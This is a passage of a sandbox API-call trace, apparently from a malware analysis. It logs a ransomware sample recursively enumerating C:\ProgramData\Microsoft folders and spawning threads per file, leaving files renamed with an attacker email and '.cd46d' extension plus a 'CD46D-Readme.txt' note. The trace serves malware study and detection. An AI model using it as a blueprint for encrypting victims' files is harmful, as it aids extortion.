ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0141.602] FindClose (in: hFindFile=0x8da290 | out: hFindFile=0x8da290) returned 1 [0141.602] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x908380) returned 1 [0141.602] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e3ea0) returned 1 [0141.602] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9238) returned 1 Thread: id = 1690 os_tid = 0x718 [0139.856] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x3e) returned 0x8d2a10 [0139.856] wcscpy (in: _Dest=0x8d2a10, _Source="C:\\ProgramData\\Microsoft\\DRM" | out: _Dest="C:\\ProgramData\\Microsoft\\DRM") returned="C:\\ProgramData\\Microsoft\\DRM" [0139.856] wcscat (in: _Dest=0x8d2a10, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\DRM\\") returned="C:\\ProgramData\\Microsoft\\DRM\\" [0139.856] wcscat (in: _Dest=0x8d2a10, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\DRM\\*") returned="C:\\ProgramData\\Microsoft\\DRM\\*" [0139.856] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9085e8 [0139.856] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\*", lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da290 [0141.603] wcscmp (_String1=".", _String2=".") returned 0 [0141.603] FindNextFileW (in: hFindFile=0x8da290, lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.603] wcscmp (_String1="..", _String2=".") returned 1 [0141.603] wcscmp (_String1="..", _String2="..") returned 0 [0141.603] FindNextFileW (in: hFindFile=0x8da290, lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 1 [0141.603] wcscmp (_String1="Server", _String2=".") returned 1 [0141.603] wcscmp (_String1="Server", _String2="..") returned 1 [0141.603] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x48) returned 0x8f9238 [0141.603] wcscpy (in: _Dest=0x8f9238, _Source="C:\\ProgramData\\Microsoft\\DRM" | out: _Dest="C:\\ProgramData\\Microsoft\\DRM") returned="C:\\ProgramData\\Microsoft\\DRM" [0141.603] wcscat (in: _Dest=0x8f9238, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\DRM\\") returned="C:\\ProgramData\\Microsoft\\DRM\\" [0141.603] wcscat (in: _Dest=0x8f9238, _Source="Server" | out: _Dest="C:\\ProgramData\\Microsoft\\DRM\\Server") returned="C:\\ProgramData\\Microsoft\\DRM\\Server" [0142.645] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f9238, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x470 [0142.646] FindNextFileW (in: hFindFile=0x8da290, lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 0 [0142.646] FindClose (in: hFindFile=0x8da290 | out: hFindFile=0x8da290) returned 1 [0142.647] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9085e8) returned 1 [0142.647] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2a10) returned 1 [0142.647] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2548) returned 1 Thread: id = 1691 os_tid = 0x808 [0139.857] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x42) returned 0x8f94b8 [0139.857] wcscpy (in: _Dest=0x8f94b8, _Source="C:\\ProgramData\\Microsoft\\eHome" | out: _Dest="C:\\ProgramData\\Microsoft\\eHome") returned="C:\\ProgramData\\Microsoft\\eHome" [0139.857] wcscat (in: _Dest=0x8f94b8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\eHome\\") returned="C:\\ProgramData\\Microsoft\\eHome\\" [0139.857] wcscat (in: _Dest=0x8f94b8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\eHome\\*") returned="C:\\ProgramData\\Microsoft\\eHome\\*" [0139.857] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x908850 [0139.857] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\eHome\\*", lpFindFileData=0x908850 | out: lpFindFileData=0x908850*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9e50 [0141.604] wcscmp (_String1=".", _String2=".") returned 0 [0141.604] FindNextFileW (in: hFindFile=0x8d9e50, lpFindFileData=0x908850 | out: lpFindFileData=0x908850*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.604] wcscmp (_String1="..", _String2=".") returned 1 [0141.604] wcscmp (_String1="..", _String2="..") returned 0 [0141.604] FindNextFileW (in: hFindFile=0x8d9e50, lpFindFileData=0x908850 | out: lpFindFileData=0x908850*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 1 [0141.604] wcscmp (_String1="logs", _String2=".") returned 1 [0141.604] wcscmp (_String1="logs", _String2="..") returned 1 [0141.604] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x48) returned 0x8f9878 [0141.604] wcscpy (in: _Dest=0x8f9878, _Source="C:\\ProgramData\\Microsoft\\eHome" | out: _Dest="C:\\ProgramData\\Microsoft\\eHome") returned="C:\\ProgramData\\Microsoft\\eHome" [0141.604] wcscat (in: _Dest=0x8f9878, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\eHome\\") returned="C:\\ProgramData\\Microsoft\\eHome\\" [0141.604] wcscat (in: _Dest=0x8f9878, _Source="logs" | out: _Dest="C:\\ProgramData\\Microsoft\\eHome\\logs") returned="C:\\ProgramData\\Microsoft\\eHome\\logs" [0142.647] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f9878, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d8 [0142.648] FindNextFileW (in: hFindFile=0x8d9e50, lpFindFileData=0x908850 | out: lpFindFileData=0x908850*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 0 [0142.648] FindClose (in: hFindFile=0x8d9e50 | out: hFindFile=0x8d9e50) returned 1 [0142.649] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x908850) returned 1 [0142.649] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f94b8) returned 1 [0142.649] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2500) returned 1 Thread: id = 1692 os_tid = 0x80c [0139.858] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x50) returned 0x8e4790 [0139.858] wcscpy (in: _Dest=0x8e4790, _Source="C:\\ProgramData\\Microsoft\\Event Viewer" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer") returned="C:\\ProgramData\\Microsoft\\Event Viewer" [0139.858] wcscat (in: _Dest=0x8e4790, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer\\") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\" [0139.858] wcscat (in: _Dest=0x8e4790, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer\\*") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\*" [0139.858] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x90f940 [0139.859] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\*", lpFindFileData=0x90f940 | out: lpFindFileData=0x90f940*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3a6c7630, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x3a6c7630, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da3d0 [0141.604] wcscmp (_String1=".", _String2=".") returned 0 [0141.604] FindNextFileW (in: hFindFile=0x8da3d0, lpFindFileData=0x90f940 | out: lpFindFileData=0x90f940*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3a6c7630, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x3a6c7630, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.605] wcscmp (_String1="..", _String2=".") returned 1 [0141.605] wcscmp (_String1="..", _String2="..") returned 0 [0141.605] FindNextFileW (in: hFindFile=0x8da3d0, lpFindFileData=0x90f940 | out: lpFindFileData=0x90f940*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 1 [0141.605] wcscmp (_String1="Views", _String2=".") returned 1 [0141.605] wcscmp (_String1="Views", _String2="..") returned 1 [0141.605] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x58) returned 0x8fec48 [0141.605] wcscpy (in: _Dest=0x8fec48, _Source="C:\\ProgramData\\Microsoft\\Event Viewer" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer") returned="C:\\ProgramData\\Microsoft\\Event Viewer" [0141.605] wcscat (in: _Dest=0x8fec48, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer\\") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\" [0141.605] wcscat (in: _Dest=0x8fec48, _Source="Views" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer\\Views") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views" [0142.649] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8fec48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6dc [0142.650] FindNextFileW (in: hFindFile=0x8da3d0, lpFindFileData=0x90f940 | out: lpFindFileData=0x90f940*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 0 [0142.650] FindClose (in: hFindFile=0x8da3d0 | out: hFindFile=0x8da3d0) returned 1 [0142.650] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90f940) returned 1 [0142.650] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4790) returned 1 [0142.651] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4160) returned 1 Thread: id = 1693 os_tid = 0x810 [0139.859] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4e) returned 0x8e47e8 [0139.859] wcscpy (in: _Dest=0x8e47e8, _Source="C:\\ProgramData\\Microsoft\\IdentityCRL" | out: _Dest="C:\\ProgramData\\Microsoft\\IdentityCRL") returned="C:\\ProgramData\\Microsoft\\IdentityCRL" [0139.859] wcscat (in: _Dest=0x8e47e8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\IdentityCRL\\") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\" [0139.859] wcscat (in: _Dest=0x8e47e8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\IdentityCRL\\*") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\*" [0139.860] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x90fba8 [0139.860] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\*", lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9b90 [0141.605] wcscmp (_String1=".", _String2=".") returned 0 [0141.605] FindNextFileW (in: hFindFile=0x8d9b90, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.605] wcscmp (_String1="..", _String2=".") returned 1 [0141.605] wcscmp (_String1="..", _String2="..") returned 0 [0141.605] FindNextFileW (in: hFindFile=0x8d9b90, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd591378b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd591378b, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac29de1, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3d00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlconfig.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 1 [0141.605] wcscmp (_String1="ppcrlconfig.dll", _String2=".") returned 1 [0141.605] wcscmp (_String1="ppcrlconfig.dll", _String2="..") returned 1 [0141.605] FindNextFileW (in: hFindFile=0x8d9b90, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd582ef5d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd582ef5d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac4ff3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3e108, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlui.dll", cAlternateFileName="")) returned 1 [0141.605] wcscmp (_String1="ppcrlui.dll", _String2=".") returned 1 [0141.605] wcscmp (_String1="ppcrlui.dll", _String2="..") returned 1 [0141.605] FindNextFileW (in: hFindFile=0x8d9b90, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd582ef5d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd582ef5d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac4ff3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3e108, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlui.dll", cAlternateFileName="")) returned 0 [0141.605] FindClose (in: hFindFile=0x8d9b90 | out: hFindFile=0x8d9b90) returned 1 [0141.606] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90fba8) returned 1 [0141.606] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e47e8) returned 1 [0141.606] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e41b8) returned 1 Thread: id = 1694 os_tid = 0x814 [0139.860] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x3c) returned 0x8d2a58 [0139.860] wcscpy (in: _Dest=0x8d2a58, _Source="C:\\ProgramData\\Microsoft\\MF" | out: _Dest="C:\\ProgramData\\Microsoft\\MF") returned="C:\\ProgramData\\Microsoft\\MF" [0139.860] wcscat (in: _Dest=0x8d2a58, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\MF\\") returned="C:\\ProgramData\\Microsoft\\MF\\" [0139.860] wcscat (in: _Dest=0x8d2a58, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\MF\\*") returned="C:\\ProgramData\\Microsoft\\MF\\*" [0139.860] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x90fe10 [0139.860] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF\\*", lpFindFileData=0x90fe10 | out: lpFindFileData=0x90fe10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa050cc00, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa050cc00, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9420f0 [0141.181] wcscmp (_String1=".", _String2=".") returned 0 [0141.181] FindNextFileW (in: hFindFile=0x9420f0, lpFindFileData=0x90fe10 | out: lpFindFileData=0x90fe10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa050cc00, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa050cc00, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.181] wcscmp (_String1="..", _String2=".") returned 1 [0141.181] wcscmp (_String1="..", _String2="..") returned 0 [0141.181] FindNextFileW (in: hFindFile=0x9420f0, lpFindFileData=0x90fe10 | out: lpFindFileData=0x90fe10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Active.GRL", cAlternateFileName="")) returned 1 [0141.181] wcscmp (_String1="Active.GRL", _String2=".") returned 1 [0141.181] wcscmp (_String1="Active.GRL", _String2="..") returned 1 [0141.182] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4e) returned 0x8e4688 [0141.182] wcscpy (in: _Dest=0x8e4688, _Source="C:\\ProgramData\\Microsoft\\MF" | out: _Dest="C:\\ProgramData\\Microsoft\\MF") returned="C:\\ProgramData\\Microsoft\\MF" [0141.182] wcscat (in: _Dest=0x8e4688, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\MF\\") returned="C:\\ProgramData\\Microsoft\\MF\\" [0141.182] wcscat (in: _Dest=0x8e4688, _Source="Active.GRL" | out: _Dest="C:\\ProgramData\\Microsoft\\MF\\Active.GRL") returned="C:\\ProgramData\\Microsoft\\MF\\Active.GRL" [0143.283] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e4688, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaf4 [0143.285] FindNextFileW (in: hFindFile=0x9420f0, lpFindFileData=0x90fe10 | out: lpFindFileData=0x90fe10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa050cc00, ftCreationTime.dwHighDateTime=0x1d5945e, ftLastAccessTime.dwLowDateTime=0xa050cc00, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa050cc00, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x6fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="CD46D-Readme.txt", cAlternateFileName="CD46D-~1.TXT")) returned 1 [0143.285] wcscmp (_String1="CD46D-Readme.txt", _String2=".") returned 1 [0143.285] wcscmp (_String1="CD46D-Readme.txt", _String2="..") returned 1 [0143.285] FindNextFileW (in: hFindFile=0x9420f0, lpFindFileData=0x90fe10 | out: lpFindFileData=0x90fe10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3b83, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pending.GRL.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="")) returned 1 [0143.285] wcscmp (_String1="Pending.GRL.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0143.285] wcscmp (_String1="Pending.GRL.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0143.285] FindNextFileW (in: hFindFile=0x9420f0, lpFindFileData=0x90fe10 | out: lpFindFileData=0x90fe10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3b83, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pending.GRL.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="")) returned 0 [0143.285] FindClose (in: hFindFile=0x9420f0 | out: hFindFile=0x9420f0) returned 1 [0143.285] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90fe10) returned 1 [0143.285] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2a58) returned 1 [0143.285] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d9cd0) returned 1 Thread: id = 1695 os_tid = 0x818 [0139.861] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8d2aa0 [0139.861] wcscpy (in: _Dest=0x8d2aa0, _Source="C:\\ProgramData\\Microsoft\\MSDN" | out: _Dest="C:\\ProgramData\\Microsoft\\MSDN") returned="C:\\ProgramData\\Microsoft\\MSDN" [0139.861] wcscat (in: _Dest=0x8d2aa0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\MSDN\\") returned="C:\\ProgramData\\Microsoft\\MSDN\\" [0139.861] wcscat (in: _Dest=0x8d2aa0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\MSDN\\*") returned="C:\\ProgramData\\Microsoft\\MSDN\\*" [0139.861] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x910078 [0139.861] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\MSDN\\*", lpFindFileData=0x910078 | out: lpFindFileData=0x910078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9ad0 [0141.608] wcscmp (_String1=".", _String2=".") returned 0 [0141.608] FindNextFileW (in: hFindFile=0x8d9ad0, lpFindFileData=0x910078 | out: lpFindFileData=0x910078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, 